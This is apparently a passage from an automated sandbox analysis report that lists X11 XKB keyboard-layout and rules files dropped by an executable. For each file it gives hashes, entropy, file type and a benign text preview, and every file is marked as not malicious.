SHA-512:	FB007700301A72F9BB039923A82C5143F1F7C07BACFD834E76D525FA0B50D5EC6A1C443968E4CD7837009D15D4C8F9752C1FF4A2A496A64DF236FEA22B174CB4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE xkbConfigRegistry SYSTEM "xkb.dtd">.<xkbConfigRegistry>. <modelList/>. <layoutList>. <layout>. <configItem>. <name>apl</name>. <shortDescription>apl</shortDescription>. <description>APL keyboard symbols</description>. <languageList><iso639Id>eng</iso639Id></languageList>. </configItem>. <variantList>. <variant>. <configItem>. <name>dyalog</name>. <shortDescription>dlg</shortDescription>. <description>APL keyboard symbols (Dyalog)</description>. </configItem>. </variant>. <variant>. <configItem>. <name>sax</name>. <shortDescription>sax</shortDescription>. <description>APL keyboard symbols (sax)</description>. </configItem>. </variant>. <variant>. <configItem>. <name>unified</name>. <shortDescription>ufd</shortDescription>.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\base.lst

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	41515
Entropy (8bit):	4.571600893259836
Encrypted:	false
SSDEEP:	768:YyVryNgKwrEt9yhtqoRVY6iWGADgV+QR6vs65ZDa0GRsnkCAsA8mF9NtTsjGdHlh:YyVryNgKwrEtAiq7vseZDa0GRsnkCAWk
MD5:	1936461F38CFE958F31CBAA9E46FA0A7
SHA1:	6CD298678A2801684771548C99B3512500B99A7F
SHA-256:	4B4581629A217DD3F71102AB76755E8DF6E044096B438D9ED06F0C35609F61D8
SHA-512:	258CF675CECBA566C48511DE2BD93CB9FFEE7C9B10A58274ED64E93028413794E2E2E215F4C379A83628859B1E163B1C598BE93B1E12C441886E3978359DD8C3
Malicious:	false
Preview:	! model. pc101 Generic 101-key PC. pc102 Generic 102-key (Intl) PC. pc104 Generic 104-key PC. pc105 Generic 105-key (Intl) PC. dell101 Dell 101-key PC. latitude Dell Latitude series laptop. dellm65 Dell Precision M65. everex Everex STEPnote. flexpro Keytronic FlexPro. microsoft Microsoft Natural. omnikey101 Northgate OmniKey 101. winbook Winbook Model XP5. pc98 PC-98xx Series. a4techKB21 A4Tech KB-21. a4techKBS8 A4Tech KBS-8. a4_rfkb23 A4Tech Wireless Desktop RFKB-23. airkey Acer AirKey V. azonaRF2300 Azona RF2300 wireless Internet Keyboard. scorpius Advance Scorpius KI. brother Brother Internet Keyboard. btc5113rf BTC 5113RF Multimedia. btc5126t BTC 5126T. btc6301urf BTC 6301URF. btc9000 BTC 9000. btc9000a BTC 9000A. btc9001ah BTC 9001AH. btc5090 BTC 5090. btc

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\base.xml

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	199479
Entropy (8bit):	4.19726387256016
Encrypted:	false
SSDEEP:	1536:7OPY1zcnIncnGnxn/n4nXsnfnMn3nqntnYn6nrnynInkEr3qDn3njnYnpnmntnaX:7OPY1hJjuwuq5
MD5:	3407B21C463CE818D1388664FE4AB6B7
SHA1:	3B5AF5900310D16EA58296EE94178FA15C443364
SHA-256:	08684A1DA3A5A8F46A90202B633DBDB8139A59DB9E6429E34F86622148A4F3BB
SHA-512:	A4DD9CC52E11B4B1C93F2398BAEB86B2C58FBC46491D4B8240EC29295912A69D67F89AB0621B25DC886F137E650ED083736488B364ED2C7305EB3F08BEB02A88
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE xkbConfigRegistry SYSTEM "xkb.dtd">.<xkbConfigRegistry version="1.1">. <modelList>. <model>. <configItem>. <name>pc101</name>. <description>Generic 101-key PC</description>. <vendor>Generic</vendor>. </configItem>. </model>. <model>. <configItem>. <name>pc102</name>. <description>Generic 102-key (Intl) PC</description>. <vendor>Generic</vendor>. </configItem>. </model>. <model>. <configItem>. <name>pc104</name>. <description>Generic 104-key PC</description>. <vendor>Generic</vendor>. </configItem>. </model>. <model>. <configItem>. <name>pc105</name>. <description>Generic 105-key (Intl) PC</description>. <vendor>Generic</vendor>. </configItem>. </model>. <model>. <configItem>. <name>dell101</name>. <description>Dell 101-key PC</description>. <vendor>Dell</vendor>.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\evdev

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	40943
Entropy (8bit):	5.040098003208792
Encrypted:	false
SSDEEP:	384:7vZhEtw5p0BRXhrIjyHwi/yK8IowYbAnO5xzgZ30EvAwOpfm5ZwKjiIt5bMGrRRR:7N5erd2nKDoynowbfHf8azVX0b/iIo
MD5:	EBF27F6C849ACC3C4941F1A7E70C3B98
SHA1:	08235FAC43ED53408881CA5F03BF00C0289A5777
SHA-256:	90BB2CF4AAA2F6B3FA2389091D423B88571397EFA681DDC868FA94F1116BA6B2
SHA-512:	D805BB973E69C37540E4C81D28BA6E8D2171B55FC71A643411848A3F22510D9370EDE9AA86506B709C7A04026D4E99BCE18FAEDFD8E99EF0EAEEC94569F23EC1
Malicious:	false
Preview:	// DO NOT EDIT THIS FILE - IT WAS AUTOGENERATED BY merge.sh FROM rules/*.part.//.// Rules for resolving XKB components for use with XFree86.// Copyright 1996 by Joseph Moss.//.// 2002 Modifier: Ivan Pascal The XFree86 Project.//..// If you want non-latin layouts implicitly include the en_US layout.// uncomment lines below.//! $nonlatin = am ara ben bd bg bt by cs deva ge gh gr guj guru il \.// in ir iku jp kan kh kr la lao lk mk mm mn mv mal ori pk \.// ru scc sy syr tel th tj tam ua uz..// PC models.! $pcmodels = pc101 pc102 pc104 pc105..// Microsoft models (using MS geometry).! $msmodels = microsoft microsoft4000 microsoft7000 microsoftpro microsoftprousb microsoftprose..// Nokia devices and keyboards.! $nokiamodels = nokiasu8w nokiarx44 nokiarx51..// PC geometries - they have special geometry but symbols are mostly pc105.! $pcgeometries = latitude..// TypeMatrix geometries.! $tmgeometries = tm2020 tm2030PS2 tm2030USB tm2030USB-102 tm2030USB-106..//

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\evdev.extras.xml

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	22569
Entropy (8bit):	4.237079628770464
Encrypted:	false
SSDEEP:	96:G4RxRAxh5KwpcKwpE3o7fQXmhQPgxGcMjc8l87DVzJ/:G+mxh5KzKB3o7fbhEgxGZcy87DVzJ/
MD5:	B4B89A1738D917DB74DBCC2575DEFC1E
SHA1:	A8B2F814A504808794FDF6BB5F26D55F669A27EB
SHA-256:	141B907029D095877F4C16412B02C8FF0090A655E674A88E12AB00AB0194A968
SHA-512:	FB007700301A72F9BB039923A82C5143F1F7C07BACFD834E76D525FA0B50D5EC6A1C443968E4CD7837009D15D4C8F9752C1FF4A2A496A64DF236FEA22B174CB4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE xkbConfigRegistry SYSTEM "xkb.dtd">.<xkbConfigRegistry>. <modelList/>. <layoutList>. <layout>. <configItem>. <name>apl</name>. <shortDescription>apl</shortDescription>. <description>APL keyboard symbols</description>. <languageList><iso639Id>eng</iso639Id></languageList>. </configItem>. <variantList>. <variant>. <configItem>. <name>dyalog</name>. <shortDescription>dlg</shortDescription>. <description>APL keyboard symbols (Dyalog)</description>. </configItem>. </variant>. <variant>. <configItem>. <name>sax</name>. <shortDescription>sax</shortDescription>. <description>APL keyboard symbols (sax)</description>. </configItem>. </variant>. <variant>. <configItem>. <name>unified</name>. <shortDescription>ufd</shortDescription>.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\evdev.lst

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	41515
Entropy (8bit):	4.571600893259836
Encrypted:	false
SSDEEP:	768:YyVryNgKwrEt9yhtqoRVY6iWGADgV+QR6vs65ZDa0GRsnkCAsA8mF9NtTsjGdHlh:YyVryNgKwrEtAiq7vseZDa0GRsnkCAWk
MD5:	1936461F38CFE958F31CBAA9E46FA0A7
SHA1:	6CD298678A2801684771548C99B3512500B99A7F
SHA-256:	4B4581629A217DD3F71102AB76755E8DF6E044096B438D9ED06F0C35609F61D8
SHA-512:	258CF675CECBA566C48511DE2BD93CB9FFEE7C9B10A58274ED64E93028413794E2E2E215F4C379A83628859B1E163B1C598BE93B1E12C441886E3978359DD8C3
Malicious:	false
Preview:	! model. pc101 Generic 101-key PC. pc102 Generic 102-key (Intl) PC. pc104 Generic 104-key PC. pc105 Generic 105-key (Intl) PC. dell101 Dell 101-key PC. latitude Dell Latitude series laptop. dellm65 Dell Precision M65. everex Everex STEPnote. flexpro Keytronic FlexPro. microsoft Microsoft Natural. omnikey101 Northgate OmniKey 101. winbook Winbook Model XP5. pc98 PC-98xx Series. a4techKB21 A4Tech KB-21. a4techKBS8 A4Tech KBS-8. a4_rfkb23 A4Tech Wireless Desktop RFKB-23. airkey Acer AirKey V. azonaRF2300 Azona RF2300 wireless Internet Keyboard. scorpius Advance Scorpius KI. brother Brother Internet Keyboard. btc5113rf BTC 5113RF Multimedia. btc5126t BTC 5126T. btc6301urf BTC 6301URF. btc9000 BTC 9000. btc9000a BTC 9000A. btc9001ah BTC 9001AH. btc5090 BTC 5090. btc

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\evdev.xml

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	199479
Entropy (8bit):	4.19726387256016
Encrypted:	false
SSDEEP:	1536:7OPY1zcnIncnGnxn/n4nXsnfnMn3nqntnYn6nrnynInkEr3qDn3njnYnpnmntnaX:7OPY1hJjuwuq5
MD5:	3407B21C463CE818D1388664FE4AB6B7
SHA1:	3B5AF5900310D16EA58296EE94178FA15C443364
SHA-256:	08684A1DA3A5A8F46A90202B633DBDB8139A59DB9E6429E34F86622148A4F3BB
SHA-512:	A4DD9CC52E11B4B1C93F2398BAEB86B2C58FBC46491D4B8240EC29295912A69D67F89AB0621B25DC886F137E650ED083736488B364ED2C7305EB3F08BEB02A88
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE xkbConfigRegistry SYSTEM "xkb.dtd">.<xkbConfigRegistry version="1.1">. <modelList>. <model>. <configItem>. <name>pc101</name>. <description>Generic 101-key PC</description>. <vendor>Generic</vendor>. </configItem>. </model>. <model>. <configItem>. <name>pc102</name>. <description>Generic 102-key (Intl) PC</description>. <vendor>Generic</vendor>. </configItem>. </model>. <model>. <configItem>. <name>pc104</name>. <description>Generic 104-key PC</description>. <vendor>Generic</vendor>. </configItem>. </model>. <model>. <configItem>. <name>pc105</name>. <description>Generic 105-key (Intl) PC</description>. <vendor>Generic</vendor>. </configItem>. </model>. <model>. <configItem>. <name>dell101</name>. <description>Dell 101-key PC</description>. <vendor>Dell</vendor>.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\xfree98

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	743
Entropy (8bit):	4.901899015450474
Encrypted:	false
SSDEEP:	12:siLLQeSY6YAzZvRvsd/TuUldU3toNA1Kw03KbKYvKnpTX/jpTO4jBTOj+rs09pTG:jLLQeYzfo/qQd6tooKw06U9oGQ6rw3
MD5:	F54F1A0FE13B903876BE30CD39876E69
SHA1:	C06C8051F9FFD90C4E6F4626516A2CCFE61E9647
SHA-256:	0E675E96C5CD916EE0F14598977604679D780E4A98A28E08F18D10B29715FFDA
SHA-512:	643444EAE67D5B65EC5F3B104D4B9135676F983B30C3AD7265E595B39DDBF2E5DA8DDC645E99BC68A5230702DB38DE6C6AD32A3B1A38F6AEE7EF096C38F00471
Malicious:	false
Preview:	//.// Rules for resolving XKB components for use with XFree86.// Copyright 1996 by Joseph Moss.//..! model .=.keycodes.geometry. pc98..=.xfree98(pc98).nec(pc98). jp106..=.xfree98(jp106).pc(jp106)..! model..layout..=.symbols. pc98..nec_vndr/jp.=.nec_vndr/jp(pc98). jp106..jp..=.jp..! model..layout.=.compat..types. ...=.complete.complete..! option..=.symbols. grp:switch..=.+group(switch). grp:toggle..=.+group(toggle). grp:shift_toggle.=.+group(shifts_toggle). grp:ctrl_shift_toggle.=.+group(ctrl_shift_toggle). grp:ctrl_alt_toggle.=.+group(ctrl_alt_toggle). ctrl:nocaps..=.+ctrl(nocaps). ctrl:lctrl_meta.=.+ctrl(lctrl_meta). ctrl:swapcaps..=.+ctrl(swapcaps). ctrl:ctrl_ac..=.+ctrl(ctrl_ac). ctrl:ctrl_aa..=.+ctrl(ctrl_aa)..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\xkb.dtd

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	5.301544858959612
Encrypted:	false
SSDEEP:	12:TMHdlRyENehfo0oSB32xqq8LibvLkmvjjxmjaykGF/8/ZMrnXQSFVFzFfFJXGFQb:2dHy1Z2xZaiJm+48/ZMbXFAbbc
MD5:	79A329D93AB5DC8644EA7D15E0BD5048
SHA1:	3F2178A8431D394178FFEE800AA2AFA2BA6E4383
SHA-256:	5F8FB54B0694CFE66F1C810CD60833890CBCF2EA3E5D1E370EDD3EF58F04FBEF
SHA-512:	4903D73BA44021E19E1720F70ABDEAD52EEC7617FFCF527828AB16ABFA9E6A3BC09011194E4E9BD75095335FC6CBBA2A3D7432DC289DD7039487C04ED53C2C1E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.. .. Description: XKB configuration file DTD. Author: Sergey V. Udaltsov..-->..<!ELEMENT xkbConfigRegistry (modelList,layoutList,optionList)>..<!ATTLIST xkbConfigRegistry . version CDATA "1.1">..<!ELEMENT modelList (model)>..<!ELEMENT model (configItem)>..<!ELEMENT layoutList (layout)>..<!ELEMENT layout (configItem,variantList?)>..<!ELEMENT optionList (group)>..<!ELEMENT variantList (variant)>..<!ELEMENT variant (configItem)>..<!ELEMENT group (configItem,option)>.<!ATTLIST group. allowMultipleSelection (true\|false) "false">..<!ELEMENT option (configItem)>..<!ELEMENT configItem (name,shortDescription,description*,vendor?,countryList?,languageList?,hwList?)>..<!ATTLIST configItem. popularity (standard\|exotic) "standard">..<!ELEMENT name (#PCDATA)>..<!ELEMENT shortDescription (#PCDATA)>..<!ELEMENT description (#PCDATA)>..<!ELEMENT vendor (#PCDATA)>..<!ELEMENT countryList (iso3166Id+)>..<!ELEMENT iso3166Id (#PCDAT

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\xorg

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:on:o
MD5:	593616DE15330C0FB2D55E55410BF994
SHA1:	1405DF66CBE219B0BF6355BC3D60361A8376B6B4
SHA-256:	CAE662172FD450BB0CD710A769079C05BFC5D8E35EFA6576EDC7D0377AFDD4A2
SHA-512:	9225B916768C9D224CA68A3C74052617DF0F59F85647FDD88E2B130D29A60BB8B66A94B0A10812C7EF2B94326EEB71F73E309F76E16F5110BC4472B706C11731
Malicious:	false
Preview:	base

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\xorg.lst

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.75
Encrypted:	false
SSDEEP:	3:oo:P
MD5:	4BA2E00143822424ADBD571DD5924739
SHA1:	8C6275C361F3123A0538544F7EBF7ED2A724E075
SHA-256:	01AE53119B536DF5726C6FCA03BA5CFF25498ED24595A8F4A9DCFCADBDE60653
SHA-512:	FDCABBCAFD97AC10453C18D4D44AD8253D7E42AA6E4563F587E4DDDBE3375D612AA9BB0F7D4A8172270FF57F4E56CED8F43F45B3678FDDC65A240163A1DE10B7
Malicious:	false
Preview:	base.lst

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\xorg.xml

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:o+:V
MD5:	8D38A78B7A36481D1D2037CEFECAB424
SHA1:	563C0516220DA799DF11190FD3A93189E8508F83
SHA-256:	F4A4FA3E441F07118D709C3B044D4A9FDAA41FFACF811424E90C0B5601EFFEFA
SHA-512:	0BA8EDAA21C3B5C6EFDDB3157B535F2D574E87CE33751C82DF6035E44D157A6C095A9C63B556284E63F31B96132AA5B48260D6ECCD73587CDCD76BC6E9207E62
Malicious:	false
Preview:	base.xml

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\semantics\basic

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	164
Entropy (8bit):	5.10160865852302
Encrypted:	false
SSDEEP:	3:RFLDtHELGdFUinVhUcIF/2B8Bno6WwHWFEcwvGaT2yJUA9H/FA+6ree2aUA9H/sv:jLDOyFau+xo6WYWaVT2aUAJ29nUAJsDr
MD5:	E8E825C4FE9E9CCDF3FD220746E52FFA
SHA1:	296953EFBDA2FAFD3C5E360B5E6FEFFA4E732F4C
SHA-256:	D54C1706D33F3F9B6093AD695505E5BD09C066B2AAF88C4AE9746BD91FD58DCB
SHA-512:	2AF0B89342BB3E8EABED490FDC50A308C10A27D176640FBCD70543227D0A57DA2CD39E45FE5CF7CBA1477EE0E4129487E833ECDD7F5399AD8363BC3CDB26E28A
Malicious:	false
Preview:	// $Xorg: basic,v 1.3 2000/08/17 19:54:42 cpqbld Exp $.default xkb_semantics "basic" {..xkb_types..{ include "basic" .};.xkb_compatibility.{ include "basic".};..};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\semantics\complete

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	176
Entropy (8bit):	5.079276395232984
Encrypted:	false
SSDEEP:	3:RFLDtGZO+LVhUcIF/2B8Bno6WwHWFgYdoaT2yJUA9GKIdfevG6ree2aUA9GKId5c:jLD0wfu+xo6WYWNd/T2aUAkTg9nUAkTs
MD5:	DCF8F1CE1CC960168806A8A73D2B3110
SHA1:	E6A31A8D69366C239CB8115610FE5720B18329F0
SHA-256:	81954552382A36C417872C25F6ABBC0812DA4D6EBFB8ECDE608FD2DEC016ADB0
SHA-512:	723E451EC7BDD9B8DAEEACC8C31422D720234FCE43D3100578D83D0989D1041B37D36788886956AF1B066D94E9FB623DB0FCB8BFD5140CCA8FB2C69F3330DDB2
Malicious:	false
Preview:	// $Xorg: complete,v 1.3 2000/08/17 19:54:42 cpqbld Exp $.default xkb_semantics "complete" {..xkb_types..{ include "complete" .};.xkb_compatibility.{ include "complete".};..};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\semantics\default

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.119319825469398
Encrypted:	false
SSDEEP:	3:RFLDtBzgd/nVhUcIF/2B8Bno6WwHWFiflaGaT2yJUA9BAD5fl5e+6ree2aUA9BAM:jLDnS/au+xo6WYWgd8T2aUA89dCnUA8M
MD5:	007D41E47CAC4115C50D49AF5E285759
SHA1:	AF0FFDB8C5A6CFB96EDA6F8734207E4BF8CCB957
SHA-256:	F52F19F52D3DA5E90C7258642787FA486C714B1EA9E4166673838D74974CF07D
SHA-512:	258AB779ECAFE346D8574DB23EB1CF6E27A6481B9C88B27D185389C39EB8D7145EAF44A26D5E5860499393D6D9FA6EAFD4C8A410C028F61FD66F01F0329B30ED
Malicious:	false
Preview:	// $Xorg: default,v 1.3 2000/08/17 19:54:42 cpqbld Exp $.default xkb_semantics "default" {..xkb_types..{ include "default" .};.xkb_compatibility.{ include "default".};..};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\semantics\xtest

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	164
Entropy (8bit):	5.1063185954476635
Encrypted:	false
SSDEEP:	3:RFLDtdlnVhUcIF/2B8Bno6WwHWFlaT2yJUA9H/FA+6ree2aUA9dRAWcn:jLDNau+xo6WYWOT2aUAJ29nUABc
MD5:	FA06CCD652ECB15CAFF6C5F430E8204A
SHA1:	C2ACA4AEE15E3A9D8F8A653D4818C923BFB8395D
SHA-256:	DA362EE4A166C3912D060D691F639238B571D6C9A1666610FEEA13DCBEF7DFD7
SHA-512:	5AB737EA5DEF8E1A7DC24080324E33DEFD3B58B2E5365E1FADC11DEB390915C2BCD0ACD0F0F03FF6ACD870780914C3F87B8BA5753AE5C6C924D14909EC707B2B
Malicious:	false
Preview:	// $Xorg: xtest,v 1.3 2000/08/17 19:54:42 cpqbld Exp $.default xkb_semantics "xtest" {..xkb_types..{ include "basic" .};.xkb_compatibility.{ include "xtest".};..};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ad

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	4.967174508171761
Encrypted:	false
SSDEEP:	24:y71EKBZb60WEx0triy2d8ALXE/uwewglx9cV4zN9q7Zq3vQqmVzFvO0C:0EKBVWEuE3Vy4zzZeFvg
MD5:	CCE3F4686C94A6A5DC9EFB3767788B0A
SHA1:	8E5217F96BE8C0C13C8286ABDC7BFE868107BFEF
SHA-256:	8D96F029C13380293A25CC057AEFBA25764F47CFA46A3BAD1F0C01D66E22D811
SHA-512:	EE3698D68A92384B4F62B38C731DCA20DC848401F463CE938657385D01804F149F96926DD0FD1BC453101AADFFC891A2CC5A87D92291DB1612B4A8D32839EFD6
Malicious:	false
Preview:	// $XKeyboardConfig$..//.// Catalan Keyboard, as manufactured by Large Format Computing, Inc..//.// For layout graphic, see http://www.language-keyboard.com/languages/catalan_layout.htm.//.// Contributed by Robert Millan..partial default alphanumeric_keys.xkb_symbols "basic" {. include "us".. name[Group1]="Andorra";.. key <AE02> { [ 2, at, dead_diaeresis ] };. key <AE07> { [ 7, ampersand, dead_acute ] };. key <AE09> { [ 9, parenleft, dead_grave ] };. key <AD02> { [ w, W, eacute, Eacute ] };. key <AD03> { [ e, E, egrave, Egrave ] };. key <AD06> { [ y, Y, udiaeresis, Udiaeresis ] };. key <AD07> { [ u, U, uacute, Uacute.] };. key <AD08> { [ i, I, iacute, Iacute.] };. key <AD09> { [ o, O, oacute, Oacute.] };. key <AD10> { [ p, P, ograve, Ograve.] };. key <AD12> { [ bracketright, braceright, EuroSign ] };. key <AC01> { [ a, A, agrave, Agrave ] };. key <AC08> { [ k, K, idiaeresis, Idiaeresis ] };. key <AC09> { [ l, L, periodcentered ] };. ke

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\af

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	23390
Entropy (8bit):	4.972936409175338
Encrypted:	false
SSDEEP:	384:qHikE3v2sORZPhK0kpVb0cwxxX1wWxDRKM9EUZN0clAxP3v2iORZPhKMkpCb1wWg:UIRsTqRki5RUYqE1
MD5:	C07D9BCD33CC7665461DA2469F89E56B
SHA1:	EFB9E5537D1C88C6355F88040E0F0919BA0B9542
SHA-256:	07FA5110E4A46796B934365BBEB48388F7C997D491552C47006D5A1DB5B57458
SHA-512:	C9ED5FC3865D28BA559D233467D0B4CF4BD5B3268A8A04B6063C8EB4CAEEE68B40082DC210B8B48D189F7971533D1A6E3C6C635C49C125A3BEC39952297CDE07
Malicious:	false
Preview:	//.// Keymap for the Afghan dari keybord layout.// Based on the specification "Computer Locale Requirements for .// Afghanstan" [1] from the "United Nations Development Programme.// Afghanistan" and the "Afghan Transitional Islamic .// Administration Ministry of Communications". .// [1] http://www.evertype.com/standards/af/.// For a MINI HOWTO see [2]..// [2] http://www.afghanischerKulturverein.de/en/afghanComputer_en.php.//.// 2006-02-15 file created by M. Emal Alekozai <memala@gmx.net>..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Afghani";.. key <TLDE> { [ 0x100200d, 0x10000f7, dead_tilde ] };. key <AE01> { [ 0x10006f1, exclam, 0x1000060 ] };. key <AE02> { [ 0x10006f2, 0x100066c, 0x1000040 ] };. key <AE03> { [ 0x10006f3, 0x100066b, numbersign ] };. key <AE04> { [ 0x10006f4, 0x100e60b, 0x1000024] };. key <AE05> { [ 0x10006f5, 0x100066a, 0x1000025 ] };. key <AE06> { [ 0x10006f6, multiply, 0x100005e ] };. key <AE07> { [ 0x10006f7, Arabic_co

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\al

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	4.527316814014403
Encrypted:	false
SSDEEP:	24:7DcT60OPYtgN9+aidY+vCSL6/wJgixaQ8q+kknyXE9VBNLlM4bLvGB23FfRYJ/LW:7EOwKmYYJ6Wvalj3Nn+L/sT
MD5:	13A1D15C1DF3CFDE26D71B45857BE2B0
SHA1:	4A44CF6614887C5169501D7EA7098BC0760BCA6A
SHA-256:	EE764AAA72B8F86DB283B79873D77FB192C8075FBEF6DF3A3FF57AAF1DCF4C8E
SHA-512:	FC11512FAC9167B38B86C2F55CDAB9C8F58797EFDE1E1D46725FAB23FBC419329125F879D637A52788510C6C2941C6DDBFF82391DF4F2ED97378E306E0C42B13
Malicious:	false
Preview:	// based on.// albanian keyboard layout.// done by Pablo Saratxaga <pablo@mandrakesoft.com>.//..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type3)".. name[Group1]="Albanian";.. key <AE01>.{ [ 1, exclam, asciitilde, dead_tilde ].};. key <AE02>.{ [ 2, quotedbl, dead_caron, oneeighth ].};. key <AE03>.{ [ 3, numbersign, dead_circumflex, sterling ].};. key <AE04>.{ [ 4, dollar, dead_breve, dollar ].};. key <AE05>.{ [ 5, percent, dead_abovering, threeeighths] };. key <AE06>.{ [ 6, asciicircum, dead_ogonek, fiveeighths ].};. key <AE07>.{ [ 7, ampersand, grave, dead_grave ].};. key <AE08>.{ [ 8, asterisk, dead_abovedot, trademark ].};. key <AE09>.{ [ 9, parenleft, dead_acute, plusminus ].};. key <AE10>.{ [ 0, parenright, dead_doubleacute, degree ].};. key <AE11>.{ [ minus, underscore, dead_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\altwin

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3116
Entropy (8bit):	4.913160757996301
Encrypted:	false
SSDEEP:	24:3VZ834KYgcmaNiZgcIH5gGZgbeID4FLNZC5tgV4DLubglcgglMygtTcNtKgf/iis:7XKOgIHXIMF+/u5DgTp6VyKg
MD5:	6B705880628A7FD4D0F9CBA533AA19A4
SHA1:	963BFA2D06339007DB847A9946B755378E8AF915
SHA-256:	B5EEE615D4EA029430AA2D77A20E028DB1055F82ABDD7762AE8DCDA77B6695D5
SHA-512:	59EC4736E0602AE34660A20EF11FEB0986F34E8CB85B8AEA475D2EB686E51307C0FE7BB8FA2F2AD92635611866F7451E69D3EF871DB6A4FFBDF6E19CE3AB5312
Malicious:	false
Preview:	// Meta is mapped to second level of Alt keys..partial modifier_keys .xkb_symbols "meta_alt" {. key <LALT> { [ Alt_L, Meta_L ] };. key <RALT> { type[Group1] = "TWO_LEVEL",. symbols[Group1] = [ Alt_R, Meta_R ] };. modifier_map Mod1 { Alt_L, Alt_R, Meta_L, Meta_R };.// modifier_map Mod4 {};.};..// Alt is mapped to the Win keys (and the usual Alt keys)..partial modifier_keys .xkb_symbols "alt_win" {. key <LWIN> { [ Alt_L ] };. key <RWIN> { [ Alt_R ] };. modifier_map Mod1 { <LWIN>, <RWIN> };.};..// Ctrl is mapped to the Win keys (and the usual Ctrl keys)..partial modifier_keys .xkb_symbols "ctrl_win" {. key <LWIN> { [ Control_L ] };. key <RWIN> { [ Control_R ] };. modifier_map Control { <LWIN>, <RWIN> };.};..// Ctrl is mapped to the Alt keys, Alt to the Win keys, and Win to the Ctrl keys..partial modifier_keys .xkb_symbols "ctrl_alt_win" {. key <LALT> { [ Control_L, Control_L ] };. key <RALT> { type[Group1] = "TWO_LEVEL",.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\am

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9497
Entropy (8bit):	4.968504664884292
Encrypted:	false
SSDEEP:	96:/3urqwS9DO026x08BT1gvbiJgSpCE6ITZn1Te086ct9O6JIjN9mUe/TXh+0+hnxQ:/yM1gVdZftfPKCf61ffre
MD5:	90F244573734E14E8051B8844C16EDCE
SHA1:	EDB1EDBD0C9447E281350271C733E080D6695C75
